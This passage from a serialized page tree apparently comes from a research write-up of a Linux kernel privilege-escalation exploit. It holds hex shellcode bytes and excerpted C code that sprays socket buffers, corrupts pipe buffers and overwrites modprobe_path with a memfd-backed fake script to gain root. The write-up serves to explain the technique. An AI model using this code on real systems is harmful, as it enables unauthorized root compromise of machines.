0x7",{"type":24,"tag":90,"props":61010,"children":61011},{"style":114},[61012],{"type":29,"value":133},{"type":24,"tag":90,"props":61014,"children":61015},{"style":1085},[61016],{"type":29,"value":21855},{"type":24,"tag":90,"props":61018,"children":61019},{"style":50196},[61020],{"type":29,"value":61021},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":24,"tag":90,"props":61023,"children":61024},{"style":1085},[61025],{"type":29,"value":21855},{"type":24,"tag":90,"props":61027,"children":61028},{"style":114},[61029],{"type":29,"value":133},{"type":24,"tag":90,"props":61031,"children":61032},{"style":349},[61033],{"type":29,"value":56495},{"type":24,"tag":90,"props":61035,"children":61036},{"style":114},[61037],{"type":29,"value":172},{"type":24,"tag":90,"props":61039,"children":61040},{"style":120},[61041],{"type":29,"value":10951},{"type":24,"tag":90,"props":61043,"children":61044},{"style":349},[61045],{"type":29,"value":5448},{"type":24,"tag":90,"props":61047,"children":61048},{"style":114},[61049],{"type":29,"value":1686},{"type":24,"tag":90,"props":61051,"children":61052},{"class":92,"line":420},[61053,61057,61061],{"type":24,"tag":90,"props":61054,"children":61055},{"style":636},[61056],{"type":29,"value":2253},{"type":24,"tag":90,"props":61058,"children":61059},{"style":97},[61060],{"type":29,"value":14835},{"type":24,"tag":90,"props":61062,"children":61063},{"style":114},[61064],{"type":29,"value":381},{"type":24,"tag":90,"props":61066,"children":61067},{"class":92,"line":428},[61068],{"type":24,"tag":90,"props":61069,"children":61070},{"emptyLinePlaceholder":16},[61071],{"type":29,"value":245},{"type":24,"tag":90,"props":61073,"children":61074},{"class":92,"line":437},[61075],{"type":24,"tag":90,"props":61076,"children":61077},{"style":252},[61078],{"type":29,"value":61079}," // get-sig kernel_runtime_2\n",{"type":24,"tag":90,"props":61081,"children":61082},{"class":92,"line":574},[61083,61087,61091,61095,61099,61103,61107,61111,61115,61120,61124,61128,61132,61136,61140,61144],{"type":24,"tag":90,"props":61084,"children":61085},{"style":636},[61086],{"type":29,"value":639},{"type":24,"tag":90,"props":61088,"children":61089},{"style":114},[61090],{"type":29,"value":1151},{"type":24,"tag":90,"props":61092,"children":61093},{"style":108},[61094],{"type":29,"value":60932},{"type":24,"tag":90,"props":61096,"children":61097},{"style":114},[61098],{"type":29,"value":60937},{"type":24,"tag":90,"props":61100,"children":61101},{"style":120},[61102],{"type":29,"value":6767},{"type":24,"tag":90,"props":61104,"children":61105},{"style":349},[61106],{"type":29,"value":60946},{"type":24,"tag":90,"props":61108,"children":61109},{"style":114},[61110],{"type":29,"value":133},{"type":24,"tag":90,"props":61112,"children":61113},{"style":1085},[61114],{"type":29,"value":21855},{"type":24,"tag":90,"props":61116,"children":61117},{"style":50196},[61118],{"type":29,"value":61119},"\\xfc\\x0f\\x01\\x15",{"type":24,"tag":90,"props":61121,"children":61122},{"style":1085},[61123],{"type":29,"value":21855},{"type":24,"tag":90,"props":61125,"children":61126},{"style":114},[61127],{"type":29,"value":133},{"type":24,"tag":90,"props":61129,"children":61130},{"style":349},[61131],{"type":29,"value":4051},{"type":24,"tag":90,"props":61133,"children":61134},{"style":114},[61135],{"type":29,"value":172},{"type":24,"tag":90,"props":61137,"children":61138},{"style":120},[61139],{"type":29,"value":10951},{"type":24,"tag":90,"props":61141,"children":61142},{"style":349},[61143],{"type":29,"value":5448},{"type":24,"tag":90,"props":61145,"children":61146},{"style":120},[61147],{"type":29,"value":54508},{"type":24,"tag":90,"props":61149,"children":61150},{"class":92,"line":606},[61151,61155,61159,61163,61168,61172,61176,61181,61185,61189,61194,61198,61202,61206],{"type":24,"tag":90,"props":61152,"children":61153},{"style":108},[61154],{"type":29,"value":60995},{"type":24,"tag":90,"props":61156,"children":61157},{"style":114},[61158],{"type":29,"value":60937},{"type":24,"tag":90,"props":61160,"children":61161},{"style":120},[61162],{"type":29,"value":6767},{"type":24,"tag":90,"props":61164,"children":61165},{"style":349},[61166],{"type":29,"value":61167}," 0x8",{"type":24,"tag":90,"props":61169,"children":61170},{"style":114},[61171],{"type":29,"value":133},{"type":24,"tag":90,"props":61173,"children":61174},{"style":1085},[61175],{"type":29,"value":21855},{"type":24,"tag":90,"props":61177,"children":61178},{"style":50196},[61179],{"type":29,"value":61180},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":24,"tag":90,"props":61182,"children":61183},{"style":1085},[61184],{"type":29,"value":21855},{"type":24,"tag":90,"props":61186,"children":61187},{"style":114},[61188],{"type":29,"value":133},{"type":24,"tag":90,"props":61190,"children":61191},{"style":349},[61192],{"type":29,"value":61193},"12",{"type":24,"tag":90,"props":61195,"children":61196},{"style":114},[61197],{"type":29,"value":172},{"type":24,"tag":90,"props":61199,"children":61200},{"style":120},[61201],{"type":29,"value":10951},{"type":24,"tag":90,"props":61203,"children":61204},{"style":349},[61205],{"type":29,"value":5448},{"type":24,"tag":90,"props":61207,"children":61208},{"style":120},[61209],{"type":29,"value":54508},{"type":24,"tag":90,"props":61211,"children":61212},{"class":92,"line":615},[61213,61217,61221,61225,61230,61234,61238,61243,61247,61251,61255,61259,61263,61267],{"type":24,"tag":90,"props":61214,"children":61215},{"style":108},[61216],{"type":29,"value":60995},{"type":24,"tag":90,"props":61218,"children":61219},{"style":114},[61220],{"type":29,"value":60937},{"type":24,"tag":90,"props":61222,"children":61223},{"style":120},[61224],{"type":29,"value":6767},{"type":24,"tag":90,"props":61226,"children":61227},{"style":349},[61228],{"type":29,"value":61229}," 0x18",{"type":24,"tag":90,"props":61231,"children":61232},{"style":114},[61233],{"type":29,"value":133},{"type":24,"tag":90,"props":61235,"children":61236},{"style":1085},[61237],{"type":29,"value":21855},{"type":24,"tag":90,"props":61239,"children":61240},{"style":50196},[61241],{"type":29,"value":61242},"\\x89\\xde\\x8b\\x0d",{"type":24,"tag":90,"props":61244,"children":61245},{"style":1085},[61246],{"type":29,"value":21855},{"type":24,"tag":90,"props":61248,"children":61249},{"style":114},[61250],{"type":29,"value":133},{"type":24,"tag":90,"props":61252,"children":61253},{"style":349},[61254],{"type":29,"value":4051},{"type":24,"tag":90,"props":61256,"children":61257},{"style":114},[61258],{"type":29,"value":172},{"type":24,"tag":90,"props":61260,"children":61261},{"style":120},[61262],{"type":29,"value":10951},{"type":24,"tag":90,"props":61264,"children":61265},{"style":349},[61266],{"type":29,"value":5448},{"type":24,"tag":90,"props":61268,"children":61269},{"style":120},[61270],{"type":29,"value":54508},{"type":24,"tag":90,"props":61272,"children":61273},{"class":92,"line":623},[61274,61278,61282,61286,61291,61295,61299,61304,61308,61312,61316,61320,61324,61328],{"type":24,"tag":90,"props":61275,"children":61276},{"style":108},[61277],{"type":29,"value":60995},{"type":24,"tag":90,"props":61279,"children":61280},{"style":114},[61281],{"type":29,"value":60937},{"type":24,"tag":90,"props":61283,"children":61284},{"style":120},[61285],{"type":29,"value":6767},{"type":24,"tag":90,"props":61287,"children":61288},{"style":349},[61289],{"type":29,"value":61290}," 0x20",{"type":24,"tag":90,"props":61292,"children":61293},{"style":114},[61294],{"type":29,"value":133},{"type":24,"tag":90,"props":61296,"children":61297},{"style":1085},[61298],{"type":29,"value":21855},{"type":24,"tag":90,"props":61300,"children":61301},{"style":50196},[61302],{"type":29,"value":61303},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":24,"tag":90,"props":61305,"children":61306},{"style":1085},[61307],{"type":29,"value":21855},{"type":24,"tag":90,"props":61309,"children":61310},{"style":114},[61311],{"type":29,"value":133},{"type":24,"tag":90,"props":61313,"children":61314},{"style":349},[61315],{"type":29,"value":4945},{"type":24,"tag":90,"props":61317,"children":61318},{"style":114},[61319],{"type":29,"value":172},{"type":24,"tag":90,"props":61321,"children":61322},{"style":120},[61323],{"type":29,"value":10951},{"type":24,"tag":90,"props":61325,"children":61326},{"style":349},[61327],{"type":29,"value":5448},{"type":24,"tag":90,"props":61329,"children":61330},{"style":120},[61331],{"type":29,"value":54508},{"type":24,"tag":90,"props":61333,"children":61334},{"class":92,"line":632},[61335,61339,61343,61347,61352,61356,61360,61365,61369,61373,61378,61382,61386,61390],{"type":24,"tag":90,"props":61336,"children":61337},{"style":108},[61338],{"type":29,"value":60995},{"type":24,"tag":90,"props":61340,"children":61341},{"style":114},[61342],{"type":29,"value":60937},{"type":24,"tag":90,"props":61344,"children":61345},{"style":120},[61346],{"type":29,"value":6767},{"type":24,"tag":90,"props":61348,"children":61349},{"style":349},[61350],{"type":29,"value":61351}," 0x2a",{"type":24,"tag":90,"props":61353,"children":61354},{"style":114},[61355],{"type":29,"value":133},{"type":24,"tag":90,"props":61357,"children":61358},{"style":1085},[61359],{"type":29,"value":21855},{"type":24,"tag":90,"props":61361,"children":61362},{"style":50196},[61363],{"type":29,"value":61364},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":24,"tag":90,"props":61366,"children":61367},{"style":1085},[61368],{"type":29,"value":21855},{"type":24,"tag":90,"props":61370,"children":61371},{"style":114},[61372],{"type":29,"value":133},{"type":24,"tag":90,"props":61374,"children":61375},{"style":349},[61376],{"type":29,"value":61377},"24",{"type":24,"tag":90,"props":61379,"children":61380},{"style":114},[61381],{"type":29,"value":172},{"type":24,"tag":90,"props":61383,"children":61384},{"style":120},[61385],{"type":29,"value":10951},{"type":24,"tag":90,"props":61387,"children":61388},{"style":349},[61389],{"type":29,"value":5448},{"type":24,"tag":90,"props":61391,"children":61392},{"style":120},[61393],{"type":29,"value":54508},{"type":24,"tag":90,"props":61395,"children":61396},{"class":92,"line":669},[61397,61401,61405,61409,61414,61418,61422,61427,61431,61435,61440,61444,61448,61452],{"type":24,"tag":90,"props":61398,"children":61399},{"style":108},[61400],{"type":29,"value":60995},{"type":24,"tag":90,"props":61402,"children":61403},{"style":114},[61404],{"type":29,"value":60937},{"type":24,"tag":90,"props":61406,"children":61407},{"style":120},[61408],{"type":29,"value":6767},{"type":24,"tag":90,"props":61410,"children":61411},{"style":349},[61412],{"type":29,"value":61413}," 0x45",{"type":24,"tag":90,"props":61415,"children":61416},{"style":114},[61417],{"type":29,"value":133},{"type":24,"tag":90,"props":61419,"children":61420},{"style":1085},[61421],{"type":29,"value":21855},{"type":24,"tag":90,"props":61423,"children":61424},{"style":50196},[61425],{"type":29,"value":61426},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":24,"tag":90,"props":61428,"children":61429},{"style":1085},[61430],{"type":29,"value":21855},{"type":24,"tag":90,"props":61432,"children":61433},{"style":114},[61434],{"type":29,"value":133},{"type":24,"tag":90,"props":61436,"children":61437},{"style":349},[61438],{"type":29,"value":61439},"15",{"type":24,"tag":90,"props":61441,"children":61442},{"style":114},[61443],{"type":29,"value":172},{"type":24,"tag":90,"props":61445,"children":61446},{"style":120},[61447],{"type":29,"value":10951},{"type":24,"tag":90,"props":61449,"children":61450},{"style":349},[61451],{"type":29,"value":5448},{"type":24,"tag":90,"props":61453,"children":61454},{"style":120},[61455],{"type":29,"value":54508},{"type":24,"tag":90,"props":61457,"children":61458},{"class":92,"line":683},[61459,61463,61467,61471,61476,61480,61484,61489,61493,61497,61501,61505,61509,61513],{"type":24,"tag":90,"props":61460,"children":61461},{"style":108},[61462],{"type":29,"value":60995},{"type":24,"tag":90,"props":61464,"children":61465},{"style":114},[61466],{"type":29,"value":60937},{"type":24,"tag":90,"props":61468,"children":61469},{"style":120},[61470],{"type":29,"value":6767},{"type":24,"tag":90,"props":61472,"children":61473},{"style":349},[61474],{"type":29,"value":61475}," 0x55",{"type":24,"tag":90,"props":61477,"children":61478},{"style":114},[61479],{"type":29,"value":133},{"type":24,"tag":90,"props":61481,"children":61482},{"style":1085},[61483],{"type":29,"value":21855},{"type":24,"tag":90,"props":61485,"children":61486},{"style":50196},[61487],{"type":29,"value":61488},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":24,"tag":90,"props":61490,"children":61491},{"style":1085},[61492],{"type":29,"value":21855},{"type":24,"tag":90,"props":61494,"children":61495},{"style":114},[61496],{"type":29,"value":133},{"type":24,"tag":90,"props":61498,"children":61499},{"style":349},[61500],{"type":29,"value":352},{"type":24,"tag":90,"props":61502,"children":61503},{"style":114},[61504],{"type":29,"value":172},{"type":24,"tag":90,"props":61506,"children":61507},{"style":120},[61508],{"type":29,"value":10951},{"type":24,"tag":90,"props":61510,"children":61511},{"style":349},[61512],{"type":29,"value":5448},{"type":24,"tag":90,"props":61514,"children":61515},{"style":120},[61516],{"type":29,"value":54508},{"type":24,"tag":90,"props":61518,"children":61519},{"class":92,"line":737},[61520,61524,61528,61532,61537,61541,61545,61550,61554,61558,61562,61566,61570,61574],{"type":24,"tag":90,"props":61521,"children":61522},{"style":108},[61523],{"type":29,"value":60995},{"type":24,"tag":90,"props":61525,"children":61526},{"style":114},[61527],{"type":29,"value":60937},{"type":24,"tag":90,"props":61529,"children":61530},{"style":120},[61531],{"type":29,"value":6767},{"type":24,"tag":90,"props":61533,"children":61534},{"style":349},[61535],{"type":29,"value":61536}," 0x61",{"type":24,"tag":90,"props":61538,"children":61539},{"style":114},[61540],{"type":29,"value":133},{"type":24,"tag":90,"props":61542,"children":61543},{"style":1085},[61544],{"type":29,"value":21855},{"type":24,"tag":90,"props":61546,"children":61547},{"style":50196},[61548],{"type":29,"value":61549},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":24,"tag":90,"props":61551,"children":61552},{"style":1085},[61553],{"type":29,"value":21855},{"type":24,"tag":90,"props":61555,"children":61556},{"style":114},[61557],{"type":29,"value":133},{"type":24,"tag":90,"props":61559,"children":61560},{"style":349},[61561],{"type":29,"value":4632},{"type":24,"tag":90,"props":61563,"children":61564},{"style":114},[61565],{"type":29,"value":172},{"type":24,"tag":90,"props":61567,"children":61568},{"style":120},[61569],{"type":29,"value":10951},{"type":24,"tag":90,"props":61571,"children":61572},{"style":349},[61573],{"type":29,"value":5448},{"type":24,"tag":90,"props":61575,"children":61576},{"style":120},[61577],{"type":29,"value":54508},{"type":24,"tag":90,"props":61579,"children":61580},{"class":92,"line":751},[61581,61585,61589,61593,61598,61602,61606,61611,61615,61619,61623,61627,61631,61635],{"type":24,"tag":90,"props":61582,"children":61583},{"style":108},[61584],{"type":29,"value":60995},{"type":24,"tag":90,"props":61586,"children":61587},{"style":114},[61588],{"type":29,"value":60937},{"type":24,"tag":90,"props":61590,"children":61591},{"style":120},[61592],{"type":29,"value":6767},{"type":24,"tag":90,"props":61594,"children":61595},{"style":349},[61596],{"type":29,"value":61597}," 0x6a",{"type":24,"tag":90,"props":61599,"children":61600},{"style":114},[61601],{"type":29,"value":133},{"type":24,"tag":90,"props":61603,"children":61604},{"style":1085},[61605],{"type":29,"value":21855},{"type":24,"tag":90,"props":61607,"children":61608},{"style":50196},[61609],{"type":29,"value":61610},"\\x48\\xc7\\xc6",{"type":24,"tag":90,"props":61612,"children":61613},{"style":1085},[61614],{"type":29,"value":21855},{"type":24,"tag":90,"props":61616,"children":61617},{"style":114},[61618],{"type":29,"value":133},{"type":24,"tag":90,"props":61620,"children":61621},{"style":349},[61622],{"type":29,"value":3817},{"type":24,"tag":90,"props":61624,"children":61625},{"style":114},[61626],{"type":29,"value":172},{"type":24,"tag":90,"props":61628,"children":61629},{"style":120},[61630],{"type":29,"value":10951},{"type":24,"tag":90,"props":61632,"children":61633},{"style":349},[61634],{"type":29,"value":5448},{"type":24,"tag":90,"props":61636,"children":61637},{"style":120},[61638],{"type":29,"value":54508},{"type":24,"tag":90,"props":61640,"children":61641},{"class":92,"line":782},[61642,61646,61650,61654,61659,61663,61667,61672,61676,61680,61684,61688,61692,61696],{"type":24,"tag":90,"props":61643,"children":61644},{"style":108},[61645],{"type":29,"value":60995},{"type":24,"tag":90,"props":61647,"children":61648},{"style":114},[61649],{"type":29,"value":60937},{"type":24,"tag":90,"props":61651,"children":61652},{"style":120},[61653],{"type":29,"value":6767},{"type":24,"tag":90,"props":61655,"children":61656},{"style":349},[61657],{"type":29,"value":61658}," 0x71",{"type":24,"tag":90,"props":61660,"children":61661},{"style":114},[61662],{"type":29,"value":133},{"type":24,"tag":90,"props":61664,"children":61665},{"style":1085},[61666],{"type":29,"value":21855},{"type":24,"tag":90,"props":61668,"children":61669},{"style":50196},[61670],{"type":29,"value":61671},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":24,"tag":90,"props":61673,"children":61674},{"style":1085},[61675],{"type":29,"value":21855},{"type":24,"tag":90,"props":61677,"children":61678},{"style":114},[61679],{"type":29,"value":133},{"type":24,"tag":90,"props":61681,"children":61682},{"style":349},[61683],{"type":29,"value":4945},{"type":24,"tag":90,"props":61685,"children":61686},{"style":114},[61687],{"type":29,"value":172},{"type":24,"tag":90,"props":61689,"children":61690},{"style":120},[61691],{"type":29,"value":10951},{"type":24,"tag":90,"props":61693,"children":61694},{"style":349},[61695],{"type":29,"value":5448},{"type":24,"tag":90,"props":61697,"children":61698},{"style":120},[61699],{"type":29,"value":54508},{"type":24,"tag":90,"props":61701,"children":61702},{"class":92,"line":791},[61703,61707,61711,61715,61720,61724,61728,61733,61737,61741,61745,61749,61753,61757],{"type":24,"tag":90,"props":61704,"children":61705},{"style":108},[61706],{"type":29,"value":60995},{"type":24,"tag":90,"props":61708,"children":61709},{"style":114},[61710],{"type":29,"value":60937},{"type":24,"tag":90,"props":61712,"children":61713},{"style":120},[61714],{"type":29,"value":6767},{"type":24,"tag":90,"props":61716,"children":61717},{"style":349},[61718],{"type":29,"value":61719}," 0x78",{"type":24,"tag":90,"props":61721,"children":61722},{"style":114},[61723],{"type":29,"value":133},{"type":24,"tag":90,"props":61725,"children":61726},{"style":1085},[61727],{"type":29,"value":21855},{"type":24,"tag":90,"props":61729,"children":61730},{"style":50196},[61731],{"type":29,"value":61732},"\\xff\\xe0",{"type":24,"tag":90,"props":61734,"children":61735},{"style":1085},[61736],{"type":29,"value":21855},{"type":24,"tag":90,"props":61738,"children":61739},{"style":114},[61740],{"type":29,"value":133},{"type":24,"tag":90,"props":61742,"children":61743},{"style":349},[61744],{"type":29,"value":3191},{"type":24,"tag":90,"props":61746,"children":61747},{"style":114},[61748],{"type":29,"value":172},{"type":24,"tag":90,"props":61750,"children":61751},{"style":120},[61752],{"type":29,"value":10951},{"type":24,"tag":90,"props":61754,"children":61755},{"style":349},[61756],{"type":29,"value":5448},{"type":24,"tag":90,"props":61758,"children":61759},{"style":114},[61760],{"type":29,"value":1686},{"type":24,"tag":90,"props":61762,"children":61763},{"class":92,"line":799},[61764,61768,61772],{"type":24,"tag":90,"props":61765,"children":61766},{"style":636},[61767],{"type":29,"value":2253},{"type":24,"tag":90,"props":61769,"children":61770},{"style":97},[61771],{"type":29,"value":14835},{"type":24,"tag":90,"props":61773,"children":61774},{"style":114},[61775],{"type":29,"value":381},{"type":24,"tag":90,"props":61777,"children":61778},{"class":92,"line":807},[61779],{"type":24,"tag":90,"props":61780,"children":61781},{"emptyLinePlaceholder":16},[61782],{"type":29,"value":245},{"type":24,"tag":90,"props":61784,"children":61785},{"class":92,"line":821},[61786,61790,61794],{"type":24,"tag":90,"props":61787,"children":61788},{"style":636},[61789],{"type":29,"value":3510},{"type":24,"tag":90,"props":61791,"children":61792},{"style":97},[61793],{"type":29,"value":11431},{"type":24,"tag":90,"props":61795,"children":61796},{"style":114},[61797],{"type":29,"value":381},{"type":24,"tag":90,"props":61799,"children":61800},{"class":92,"line":6278},[61801],{"type":24,"tag":90,"props":61802,"children":61803},{"style":114},[61804],{"type":29,"value":827},{"type":24,"tag":90,"props":61806,"children":61807},{"class":92,"line":11420},[61808],{"type":24,"tag":90,"props":61809,"children":61810},{"style":114},[61811],{"type":29,"value":12686},{"type":24,"tag":1019,"props":61813,"children":61815},{"id":61814},"overwriting-modprobe_path",[61816,61818],{"type":29,"value":61817},"Overwriting ",{"type":24,"tag":32,"props":61819,"children":61821},{"className":61820},[],[61822],{"type":29,"value":60203},{"type":24,"tag":25,"props":61824,"children":61825},{},[61826,61828,61834],{"type":29,"value":61827},"Finding the ",{"type":24,"tag":32,"props":61829,"children":61831},{"className":61830},[],[61832],{"type":29,"value":61833},"/sbin/modprobe",{"type":29,"value":61835}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":24,"tag":25,"props":61837,"children":61838},{},[61839,61841,61847],{"type":29,"value":61840},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":24,"tag":32,"props":61842,"children":61844},{"className":61843},[],[61845],{"type":29,"value":61846},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":29,"value":61848}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":24,"tag":80,"props":61850,"children":61852},{"className":30921,"code":61851,"language":30923,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[61853],{"type":24,"tag":32,"props":61854,"children":61855},{"__ignoreMap":7},[61856,61863,61885,61893,61900,61908,61916,61924,61932,61939,61947,61954,61992,62003,62010,62017,62024,62051,62082,62089,62111,62124,62131,62189,62196,62224,62231,62238,62259,62266,62287,62298,62305,62312,62333,62340,62368,62381,62388,62395,62444,62451,62519,62526,62547,62567,62574,62581,62588,62608],{"type":24,"tag":90,"props":61857,"children":61858},{"class":92,"line":93},[61859],{"type":24,"tag":90,"props":61860,"children":61861},{"style":114},[61862],{"type":29,"value":12686},{"type":24,"tag":90,"props":61864,"children":61865},{"class":92,"line":200},[61866,61871,61876,61881],{"type":24,"tag":90,"props":61867,"children":61868},{"style":114},[61869],{"type":29,"value":61870}," puts(\"[*] ",{"type":24,"tag":90,"props":61872,"children":61873},{"style":146},[61874],{"type":29,"value":61875},"overwrite",{"type":24,"tag":90,"props":61877,"children":61878},{"style":146},[61879],{"type":29,"value":61880}," modprobe_path",{"type":24,"tag":90,"props":61882,"children":61883},{"style":1085},[61884],{"type":29,"value":58116},{"type":24,"tag":90,"props":61886,"children":61887},{"class":92,"line":239},[61888],{"type":24,"tag":90,"props":61889,"children":61890},{"style":1085},[61891],{"type":29,"value":61892}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":24,"tag":90,"props":61894,"children":61895},{"class":92,"line":248},[61896],{"type":24,"tag":90,"props":61897,"children":61898},{"style":1085},[61899],{"type":29,"value":30998},{"type":24,"tag":90,"props":61901,"children":61902},{"class":92,"line":258},[61903],{"type":24,"tag":90,"props":61904,"children":61905},{"style":1085},[61906],{"type":29,"value":61907}," pipebuf->page = modprobe_page;\n",{"type":24,"tag":90,"props":61909,"children":61910},{"class":92,"line":272},[61911],{"type":24,"tag":90,"props":61912,"children":61913},{"style":1085},[61914],{"type":29,"value":61915}," pipebuf->offset = modprobe_off;\n",{"type":24,"tag":90,"props":61917,"children":61918},{"class":92,"line":281},[61919],{"type":24,"tag":90,"props":61920,"children":61921},{"style":1085},[61922],{"type":29,"value":61923}," pipebuf->len = 0;\n",{"type":24,"tag":90,"props":61925,"children":61926},{"class":92,"line":384},[61927],{"type":24,"tag":90,"props":61928,"children":61929},{"style":1085},[61930],{"type":29,"value":61931}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":24,"tag":90,"props":61933,"children":61934},{"class":92,"line":420},[61935],{"type":24,"tag":90,"props":61936,"children":61937},{"style":1085},[61938],{"type":29,"value":33472},{"type":24,"tag":90,"props":61940,"children":61941},{"class":92,"line":428},[61942],{"type":24,"tag":90,"props":61943,"children":61944},{"style":1085},[61945],{"type":29,"value":61946}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":24,"tag":90,"props":61948,"children":61949},{"class":92,"line":437},[61950],{"type":24,"tag":90,"props":61951,"children":61952},{"style":1085},[61953],{"type":29,"value":33508},{"type":24,"tag":90,"props":61955,"children":61956},{"class":92,"line":574},[61957,61962,61966,61970,61974,61979,61983,61987],{"type":24,"tag":90,"props":61958,"children":61959},{"style":1085},[61960],{"type":29,"value":61961}," perror(\"",{"type":24,"tag":90,"props":61963,"children":61964},{"style":114},[61965],{"type":29,"value":719},{"type":24,"tag":90,"props":61967,"children":61968},{"style":120},[61969],{"type":29,"value":346},{"type":24,"tag":90,"props":61971,"children":61972},{"style":114},[61973],{"type":29,"value":11037},{"type":24,"tag":90,"props":61975,"children":61976},{"style":146},[61977],{"type":29,"value":61978},"write",{"type":24,"tag":90,"props":61980,"children":61981},{"style":114},[61982],{"type":29,"value":117},{"type":24,"tag":90,"props":61984,"children":61985},{"style":146},[61986],{"type":29,"value":43756},{"type":24,"tag":90,"props":61988,"children":61989},{"style":114},[61990],{"type":29,"value":61991},")\");\n",{"type":24,"tag":90,"props":61993,"children":61994},{"class":92,"line":606},[61995,61999],{"type":24,"tag":90,"props":61996,"children":61997},{"style":636},[61998],{"type":29,"value":60785},{"type":24,"tag":90,"props":62000,"children":62001},{"style":114},[62002],{"type":29,"value":381},{"type":24,"tag":90,"props":62004,"children":62005},{"class":92,"line":615},[62006],{"type":24,"tag":90,"props":62007,"children":62008},{"style":114},[62009],{"type":29,"value":60710},{"type":24,"tag":90,"props":62011,"children":62012},{"class":92,"line":623},[62013],{"type":24,"tag":90,"props":62014,"children":62015},{"style":114},[62016],{"type":29,"value":5740},{"type":24,"tag":90,"props":62018,"children":62019},{"class":92,"line":632},[62020],{"type":24,"tag":90,"props":62021,"children":62022},{"emptyLinePlaceholder":16},[62023],{"type":29,"value":245},{"type":24,"tag":90,"props":62025,"children":62026},{"class":92,"line":669},[62027,62031,62035,62039,62043,62047],{"type":24,"tag":90,"props":62028,"children":62029},{"style":108},[62030],{"type":29,"value":56441},{"type":24,"tag":90,"props":62032,"children":62033},{"style":114},[62034],{"type":29,"value":117},{"type":24,"tag":90,"props":62036,"children":62037},{"style":120},[62038],{"type":29,"value":123},{"type":24,"tag":90,"props":62040,"children":62041},{"style":114},[62042],{"type":29,"value":60596},{"type":24,"tag":90,"props":62044,"children":62045},{"style":349},[62046],{"type":29,"value":6408},{"type":24,"tag":90,"props":62048,"children":62049},{"style":114},[62050],{"type":29,"value":60605},{"type":24,"tag":90,"props":62052,"children":62053},{"class":92,"line":683},[62054,62058,62063,62067,62072,62077],{"type":24,"tag":90,"props":62055,"children":62056},{"style":108},[62057],{"type":29,"value":57142},{"type":24,"tag":90,"props":62059,"children":62060},{"style":114},[62061],{"type":29,"value":62062},"(fd_path, ",{"type":24,"tag":90,"props":62064,"children":62065},{"style":97},[62066],{"type":29,"value":57152},{"type":24,"tag":90,"props":62068,"children":62069},{"style":114},[62070],{"type":29,"value":62071},"(fd_path), ",{"type":24,"tag":90,"props":62073,"children":62074},{"style":1085},[62075],{"type":29,"value":62076},"\"/proc/%i/fd/%i\"",{"type":24,"tag":90,"props":62078,"children":62079},{"style":114},[62080],{"type":29,"value":62081},", i, modprobe_fd);\n",{"type":24,"tag":90,"props":62083,"children":62084},{"class":92,"line":737},[62085],{"type":24,"tag":90,"props":62086,"children":62087},{"emptyLinePlaceholder":16},[62088],{"type":29,"value":245},{"type":24,"tag":90,"props":62090,"children":62091},{"class":92,"line":751},[62092,62097,62102,62106],{"type":24,"tag":90,"props":62093,"children":62094},{"style":108},[62095],{"type":29,"value":62096}," lseek",{"type":24,"tag":90,"props":62098,"children":62099},{"style":114},[62100],{"type":29,"value":62101},"(modprobe_fd, ",{"type":24,"tag":90,"props":62103,"children":62104},{"style":349},[62105],{"type":29,"value":6408},{"type":24,"tag":90,"props":62107,"children":62108},{"style":114},[62109],{"type":29,"value":62110},", SEEK_SET);\n",{"type":24,"tag":90,"props":62112,"children":62113},{"class":92,"line":782},[62114,62119],{"type":24,"tag":90,"props":62115,"children":62116},{"style":108},[62117],{"type":29,"value":62118}," dprintf",{"type":24,"tag":90,"props":62120,"children":62121},{"style":114},[62122],{"type":29,"value":62123},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, 